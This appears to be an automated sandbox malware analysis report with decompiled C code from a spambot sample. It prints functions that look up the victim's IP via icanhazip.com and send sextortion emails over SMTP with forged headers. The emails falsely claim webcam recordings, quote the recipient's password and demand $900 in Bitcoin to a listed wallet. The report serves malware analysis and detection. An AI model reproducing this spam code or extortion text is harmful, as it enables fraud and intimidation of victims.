                                                                                                                                                                                                                                                                                                                                                      0x003215c5
                                                                                                                                                                                                                                                                                                                                                      0x003215cc
                                                                                                                                                                                                                                                                                                                                                      0x003215cc
                                                                                                                                                                                                                                                                                                                                                      0x003215d7
                                                                                                                                                                                                                                                                                                                                                      0x003215de
                                                                                                                                                                                                                                                                                                                                                      0x003215de
                                                                                                                                                                                                                                                                                                                                                      0x003215e6
                                                                                                                                                                                                                                                                                                                                                      0x0032165d
                                                                                                                                                                                                                                                                                                                                                      0x0032166b
                                                                                                                                                                                                                                                                                                                                                      0x0032165f
                                                                                                                                                                                                                                                                                                                                                      0x0032165f
                                                                                                                                                                                                                                                                                                                                                      0x0032165f
                                                                                                                                                                                                                                                                                                                                                      0x00321678
                                                                                                                                                                                                                                                                                                                                                      0x00321684
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003215e8
                                                                                                                                                                                                                                                                                                                                                      0x003215ec
                                                                                                                                                                                                                                                                                                                                                      0x003215fa
                                                                                                                                                                                                                                                                                                                                                      0x003215ee
                                                                                                                                                                                                                                                                                                                                                      0x003215ee
                                                                                                                                                                                                                                                                                                                                                      0x003215ee
                                                                                                                                                                                                                                                                                                                                                      0x00321607
                                                                                                                                                                                                                                                                                                                                                      0x00321613
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321654

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetLocalTime.KERNEL32(?), ref: 00321528
                                                                                                                                                                                                                                                                                                                                                      • FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 0032153B
                                                                                                                                                                                                                                                                                                                                                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 0032154C
                                                                                                                                                                                                                                                                                                                                                      • GetTimeZoneInformation.KERNELBASE(00000000), ref: 00321563
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 0032164E
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 003216C8
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Time$File$Localwsprintf$InformationSystemZone
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Jul$Jun$Mar$May$Nov$Oct$Sat$Sep$Sun$Tue$Wed$\12$`12$l12$p12$t12$x12$|12
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1439763326-131591997
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e51eb4713f14253ee6a36cf981031cd6729a40bd85d0132609b9a376c0ae3e2a
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c4ff696c9ff41dd2e6cebe9ad708cc3eac39056a3cfb0fa5f64f52cb64fe6229
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e51eb4713f14253ee6a36cf981031cd6729a40bd85d0132609b9a376c0ae3e2a
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 146149B4D00228EBCB15DFC5E944AEEBBF9EF49304F20804DE506AB254D7789A94CF64
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 003217D0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 71networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E003217D0() {
				void _v108;
				long _v112;
				void* _v116;
				void* _v120;
				void* _t15;
				void* _t21;

				_t15 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 0, 0, 0, 0); // executed
				_v120 = _t15;
				if(_v120 == 0) {
					wsprintfA("[102.129.143.78]", "[0.0.0.0]");
					L8:
					InternetCloseHandle(_v120);
					return "[102.129.143.78]";
				}
				_t21 = InternetOpenUrlA(_v120, "http://icanhazip.com/", 0, 0, 0, 0); // executed
				_v116 = _t21;
				if(_v116 != 0) {
					InternetReadFile(_v116,  &_v108, 0x63,  &_v112); // executed
					if( &_v108 != 0) {
						if(E003218B0( &_v108, ".") == 0) {
							wsprintfA("[102.129.143.78]", "[0.0.0.0]");
						} else {
							E00321400( &_v108);
							wsprintfA("[102.129.143.78]", "[%s]",  &_v108);
						}
					}
				}
				InternetCloseHandle(_v116); // executed
				goto L8;
			}









                                                                                                                                                                                                                                                                                                                                                      0x003217e3
                                                                                                                                                                                                                                                                                                                                                      0x003217e9
                                                                                                                                                                                                                                                                                                                                                      0x003217f0
                                                                                                                                                                                                                                                                                                                                                      0x00321894
                                                                                                                                                                                                                                                                                                                                                      0x0032189d
                                                                                                                                                                                                                                                                                                                                                      0x003218a1
                                                                                                                                                                                                                                                                                                                                                      0x003218af
                                                                                                                                                                                                                                                                                                                                                      0x003218af
                                                                                                                                                                                                                                                                                                                                                      0x00321807
                                                                                                                                                                                                                                                                                                                                                      0x0032180d
                                                                                                                                                                                                                                                                                                                                                      0x00321814
                                                                                                                                                                                                                                                                                                                                                      0x00321824
                                                                                                                                                                                                                                                                                                                                                      0x0032182f
                                                                                                                                                                                                                                                                                                                                                      0x00321844
                                                                                                                                                                                                                                                                                                                                                      0x00321875
                                                                                                                                                                                                                                                                                                                                                      0x00321846
                                                                                                                                                                                                                                                                                                                                                      0x0032184a
                                                                                                                                                                                                                                                                                                                                                      0x00321860
                                                                                                                                                                                                                                                                                                                                                      0x00321866
                                                                                                                                                                                                                                                                                                                                                      0x00321844
                                                                                                                                                                                                                                                                                                                                                      0x0032182f
                                                                                                                                                                                                                                                                                                                                                      0x00321882
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 003217E3
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00321807
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000063,?), ref: 00321824
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003218B0: strstr.MSVCRT ref: 003218BB
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321860
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321875
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 00321882
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321894
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(?), ref: 003218A1
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$wsprintf$CloseHandleOpen$FileReadstrstr
                                                                                                                                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$[%s]$[0.0.0.0]$[0.0.0.0]$[102.129.143.78]$http://icanhazip.com/
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2936383407-1439226838
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: df73f5b3dab146fa4bdde917c969e657b5d4b242b83eace4f6d48978c2ba201f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f6f9089bca86e9b00444a2cee74bc1eda3209242cc4dc94f4d1c8e31b2c4900a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: df73f5b3dab146fa4bdde917c969e657b5d4b242b83eace4f6d48978c2ba201f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C3218671B40328ABDB229BA0FD4AFDD7738BB14B01F20451CF506AB1C1E6B56605CB94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321D47 Relevance: 122.9, APIs: 39, Strings: 31, Instructions: 423sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E00321D47(void* __eflags) {
				signed int _t176;
				signed int _t178;
				signed int _t180;
				signed int _t182;
				void* _t188;
				void* _t189;
				int _t194;
				int _t198;
				int _t201;
				int _t205;
				int _t208;
				void* _t210;
				int _t215;
				int _t216;
				int _t217;
				int _t237;
				int _t254;
				intOrPtr _t258;
				int _t259;
				void* _t343;
				void* _t345;
				void* _t352;
				void* _t356;
				void* _t358;
				void* _t360;
				void* _t362;
				void* _t364;
				void* _t368;
				void* _t369;
				void* _t370;
				void* _t384;
				void* _t398;

				L0:
				while(1) {
					L0:
					wsprintfA(_t343 - 0x538, "%s.com", E00321320(_t343 - 0x658, 5, _t343 - 0x658));
					E00321490(0, _t343 - 0x750, 1); // executed
					Sleep(0x7d0); // executed
					E00321490(0, _t343 - 0x6d0, 0); // executed
					_t176 = rand();
					asm("cdq");
					_t178 = rand();
					asm("cdq");
					_t180 = rand();
					asm("cdq");
					_t182 = rand();
					asm("cdq");
					 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", E00321390(0xd2, 7, _t343 - 0x6e8), _t182 % 0xd2 + 1, _t180 % 0xfe + 1, _t178 % 0xfe + 1, _t176 % 0xfe + 1, _t343 - 0x538, _t343 - 0x6d0);
					_t188 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
					_t352 = _t345 + 0x64;
					if(_t188 != 0) {
						_t189 = E00321320(_t343 - 0x750, 3, _t343 - 0x664);
						 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", E00321320(_t343 - 0x750, 5, _t343 - 0x6dc), _t189, _t343 - 0x750);
						_t194 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
						_t356 = _t352 + 0x30;
						__eflags = _t194;
						if(_t194 != 0) {
							 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "From: John Blue %s\r\n", _t343 - 0x88);
							_t198 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
							_t358 = _t356 + 0x18;
							__eflags = _t198;
							if(_t198 != 0) {
								 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "To: %s\r\n",  *((intOrPtr*)(_t343 + 8)));
								_t201 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
								_t360 = _t358 + 0x18;
								__eflags = _t201;
								if(_t201 != 0) {
									 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
									_t205 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
									_t362 = _t360 + 0x18;
									__eflags = _t205;
									if(_t205 != 0) {
										 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Date: %s\r\n", _t343 - 0x6d0);
										_t208 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
										_t364 = _t362 + 0x18;
										__eflags = _t208;
										if(_t208 != 0) {
											_t210 = E00321320(_t343 - 0x664, 6, _t343 - 0x664);
											 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Message-ID: <%s.%s@%s>\r\n", E00321320(_t343 - 0x664, 6, _t343 - 0x6dc), _t210, _t343 - 0x538);
											_t215 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
											_t368 = _t364 + 0x30;
											__eflags = _t215;
											if(_t215 != 0) {
												_t216 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
												_t369 = _t368 + 0xc;
												__eflags = _t216;
												if(_t216 != 0) {
													_t217 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
													_t370 = _t369 + 0xc;
													__eflags = _t217;
													if(_t217 != 0) {
														memset(_t343 - 0x640, 0, 0x104);
														strcpy(_t343 - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n");
														strcat(_t343 - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
														strcat(_t343 - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
														strcat(_t343 - 0x640, "If you think this is some bad joke, no, I know your password: ");
														strcat(_t343 - 0x640,  *(_t343 + 0xc));
														strcat(_t343 - 0x640, "\r\n\r\n");
														strcat(_t343 - 0x640, "I collected all your private data and I RECORDED YOU (through your cam) SATISFYING YOURSELF!\r\n\r\n");
														strcat(_t343 - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
														strcat(_t343 - 0x640, "I can publish the video of you and all your private data on the whole web, social networks, over email and send everything to all your contacts.\r\n\r\n");
														strcat(_t343 - 0x640, "But you can stop me and only I can help you out in this situation.\r\n\r\n");
														strcat(_t343 - 0x640, "The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC).\r\n\r\n");
														strcat(_t343 - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n");
														_t237 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x640, 0xffffffff); // executed
														_t384 = _t370 + 0x78;
														__eflags = _t237;
														if(_t237 != 0) {
															memset(_t343 - 0x640, 0, 0x104);
															strcpy(_t343 - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
															strcat(_t343 - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
															strcat(_t343 - 0x640, "My Bitcoin (BTC) wallet is: bc1qtnh43ae8ur89d62y99gseejf7ud4zvrcntxzmx\r\n\r\n");
															strcat(_t343 - 0x640, "Yes, that\'s how the wallet / address looks like, copy and paste it, it\'s (cAsE-sEnSEtiVE).\r\n\r\n");
															strcat(_t343 - 0x640, "I give you 3 days time to pay.\r\n\r\n");
															strcat(_t343 - 0x640, "After receiving the payment, I will remove everything and you can life your live in peace like before, don\'t worry, I keep my promise.\r\n\r\n");
															strcat(_t343 - 0x640, "Next time make sure that your device got the newsest security updates.\r\n\r\n");
															strcat(_t343 - 0x640, "ClientMailID: ");
															strcat(_t343 - 0x640, E00321320(_t343 - 0x64c, 7, _t343 - 0x64c));
															strcat(_t343 - 0x640, "\r\n.\r\n");
															_t254 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x640, 0xffffffff); // executed
															_t384 = _t384 + 0x70;
															__eflags = _t254;
															if(_t254 != 0) {
																 *(_t343 - 0x20) = 7;
															} else {
																 *(_t343 - 0x20) = 0;
															}
														} else {
															 *(_t343 - 0x20) = 0;
														}
													} else {
														 *(_t343 - 0x20) = 0;
													}
												} else {
													 *(_t343 - 0x20) = 0;
												}
											} else {
												 *(_t343 - 0x20) = 0;
											}
										} else {
											 *(_t343 - 0x20) = 0;
										}
									} else {
										 *(_t343 - 0x20) = 0;
									}
								} else {
									 *(_t343 - 0x20) = 0;
								}
							} else {
								 *(_t343 - 0x20) = 0;
							}
						} else {
							 *(_t343 - 0x20) = 0;
						}
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t343 - 0x20) != 0 &&  *(_t343 - 0x20) != 8) {
						_t258 = E00321160( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490, 0x400); // executed
						_t398 = _t384 + 0xc;
						 *((intOrPtr*)(_t343 - 0x90)) = _t258;
						if( *((intOrPtr*)(_t343 - 0x90)) != 0) {
							L5:
							 *((char*)(_t343 +  *((intOrPtr*)(_t343 - 0x90)) - 0x490)) = 0;
							_t259 = E003211C0(_t343 - 0x490);
							_t384 = _t398 + 4;
							__eflags = _t259;
							if(_t259 != 0) {
								L7:
								 *(_t343 - 0x758) =  *(_t343 - 0x20);
								 *(_t343 - 0x758) =  *(_t343 - 0x758) - 1;
								__eflags =  *(_t343 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t343 - 0x758) * 4 +  &M00322324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t262 = StrStrA(_t343 - 0x490);
										__eflags = _t262;
										if(_t262 == 0) {
											_t263 = wsprintfA(_t343 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t399 = _t384 + 0xc;
											 *(_t343 - 0x494) = _t263;
										} else {
											_t266 = wsprintfA(_t343 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t399 = _t384 + 0xc;
											 *(_t343 - 0x494) = _t266;
										}
										_t265 = E00321120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *(_t343 - 0x494)); // executed
										_t384 = _t399 + 0xc;
										__eflags = _t265;
										if(_t265 != 0) {
											 *(_t343 - 0x20) = 3;
										} else {
											 *(_t343 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E003218D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										goto L0;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E00321120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t343 - 8) = 0 |  *(_t343 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t343 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t343 - 0x1c)));
					return  *(_t343 - 8);
				}
			}



































                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d65
                                                                                                                                                                                                                                                                                                                                                      0x00321d79
                                                                                                                                                                                                                                                                                                                                                      0x00321d86
                                                                                                                                                                                                                                                                                                                                                      0x00321d97
                                                                                                                                                                                                                                                                                                                                                      0x00321dad
                                                                                                                                                                                                                                                                                                                                                      0x00321db2
                                                                                                                                                                                                                                                                                                                                                      0x00321dbe
                                                                                                                                                                                                                                                                                                                                                      0x00321dc3
                                                                                                                                                                                                                                                                                                                                                      0x00321dcf
                                                                                                                                                                                                                                                                                                                                                      0x00321dd4
                                                                                                                                                                                                                                                                                                                                                      0x00321de0
                                                                                                                                                                                                                                                                                                                                                      0x00321de5
                                                                                                                                                                                                                                                                                                                                                      0x00321e18
                                                                                                                                                                                                                                                                                                                                                      0x00321e30
                                                                                                                                                                                                                                                                                                                                                      0x00321e35
                                                                                                                                                                                                                                                                                                                                                      0x00321e3a
                                                                                                                                                                                                                                                                                                                                                      0x00321e58
                                                                                                                                                                                                                                                                                                                                                      0x00321e88
                                                                                                                                                                                                                                                                                                                                                      0x00321ea0
                                                                                                                                                                                                                                                                                                                                                      0x00321ea5
                                                                                                                                                                                                                                                                                                                                                      0x00321ea8
                                                                                                                                                                                                                                                                                                                                                      0x00321eaa
                                                                                                                                                                                                                                                                                                                                                      0x00321ed4
                                                                                                                                                                                                                                                                                                                                                      0x00321eec
                                                                                                                                                                                                                                                                                                                                                      0x00321ef1
                                                                                                                                                                                                                                                                                                                                                      0x00321ef4
                                                                                                                                                                                                                                                                                                                                                      0x00321ef6
                                                                                                                                                                                                                                                                                                                                                      0x00321f1d
                                                                                                                                                                                                                                                                                                                                                      0x00321f35
                                                                                                                                                                                                                                                                                                                                                      0x00321f3a
                                                                                                                                                                                                                                                                                                                                                      0x00321f3d
                                                                                                                                                                                                                                                                                                                                                      0x00321f3f
                                                                                                                                                                                                                                                                                                                                                      0x00321f67
                                                                                                                                                                                                                                                                                                                                                      0x00321f7f
                                                                                                                                                                                                                                                                                                                                                      0x00321f84
                                                                                                                                                                                                                                                                                                                                                      0x00321f87
                                                                                                                                                                                                                                                                                                                                                      0x00321f89
                                                                                                                                                                                                                                                                                                                                                      0x00321fb3
                                                                                                                                                                                                                                                                                                                                                      0x00321fcb
                                                                                                                                                                                                                                                                                                                                                      0x00321fd0
                                                                                                                                                                                                                                                                                                                                                      0x00321fd3
                                                                                                                                                                                                                                                                                                                                                      0x00321fd5
                                                                                                                                                                                                                                                                                                                                                      0x00321ff3
                                                                                                                                                                                                                                                                                                                                                      0x00322023
                                                                                                                                                                                                                                                                                                                                                      0x0032203b
                                                                                                                                                                                                                                                                                                                                                      0x00322040
                                                                                                                                                                                                                                                                                                                                                      0x00322043
                                                                                                                                                                                                                                                                                                                                                      0x00322045
                                                                                                                                                                                                                                                                                                                                                      0x0032205e
                                                                                                                                                                                                                                                                                                                                                      0x00322063
                                                                                                                                                                                                                                                                                                                                                      0x00322066
                                                                                                                                                                                                                                                                                                                                                      0x00322068
                                                                                                                                                                                                                                                                                                                                                      0x00322081
                                                                                                                                                                                                                                                                                                                                                      0x00322086
                                                                                                                                                                                                                                                                                                                                                      0x00322089
                                                                                                                                                                                                                                                                                                                                                      0x0032208b
                                                                                                                                                                                                                                                                                                                                                      0x003220a7
                                                                                                                                                                                                                                                                                                                                                      0x003220bb
                                                                                                                                                                                                                                                                                                                                                      0x003220cf
                                                                                                                                                                                                                                                                                                                                                      0x003220e3
                                                                                                                                                                                                                                                                                                                                                      0x003220f7
                                                                                                                                                                                                                                                                                                                                                      0x0032210a
                                                                                                                                                                                                                                                                                                                                                      0x0032211e
                                                                                                                                                                                                                                                                                                                                                      0x00322132
                                                                                                                                                                                                                                                                                                                                                      0x00322146
                                                                                                                                                                                                                                                                                                                                                      0x0032215a
                                                                                                                                                                                                                                                                                                                                                      0x0032216e
                                                                                                                                                                                                                                                                                                                                                      0x00322182
                                                                                                                                                                                                                                                                                                                                                      0x00322196
                                                                                                                                                                                                                                                                                                                                                      0x003221ab
                                                                                                                                                                                                                                                                                                                                                      0x003221b0
                                                                                                                                                                                                                                                                                                                                                      0x003221b3
                                                                                                                                                                                                                                                                                                                                                      0x003221b5
                                                                                                                                                                                                                                                                                                                                                      0x003221d1
                                                                                                                                                                                                                                                                                                                                                      0x003221e5
                                                                                                                                                                                                                                                                                                                                                      0x003221f9
                                                                                                                                                                                                                                                                                                                                                      0x0032220d
                                                                                                                                                                                                                                                                                                                                                      0x00322221
                                                                                                                                                                                                                                                                                                                                                      0x00322235
                                                                                                                                                                                                                                                                                                                                                      0x00322249
                                                                                                                                                                                                                                                                                                                                                      0x0032225d
                                                                                                                                                                                                                                                                                                                                                      0x00322271
                                                                                                                                                                                                                                                                                                                                                      0x00322292
                                                                                                                                                                                                                                                                                                                                                      0x003222a6
                                                                                                                                                                                                                                                                                                                                                      0x003222bb
                                                                                                                                                                                                                                                                                                                                                      0x003222c0
                                                                                                                                                                                                                                                                                                                                                      0x003222c3
                                                                                                                                                                                                                                                                                                                                                      0x003222c5
                                                                                                                                                                                                                                                                                                                                                      0x003222d0
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
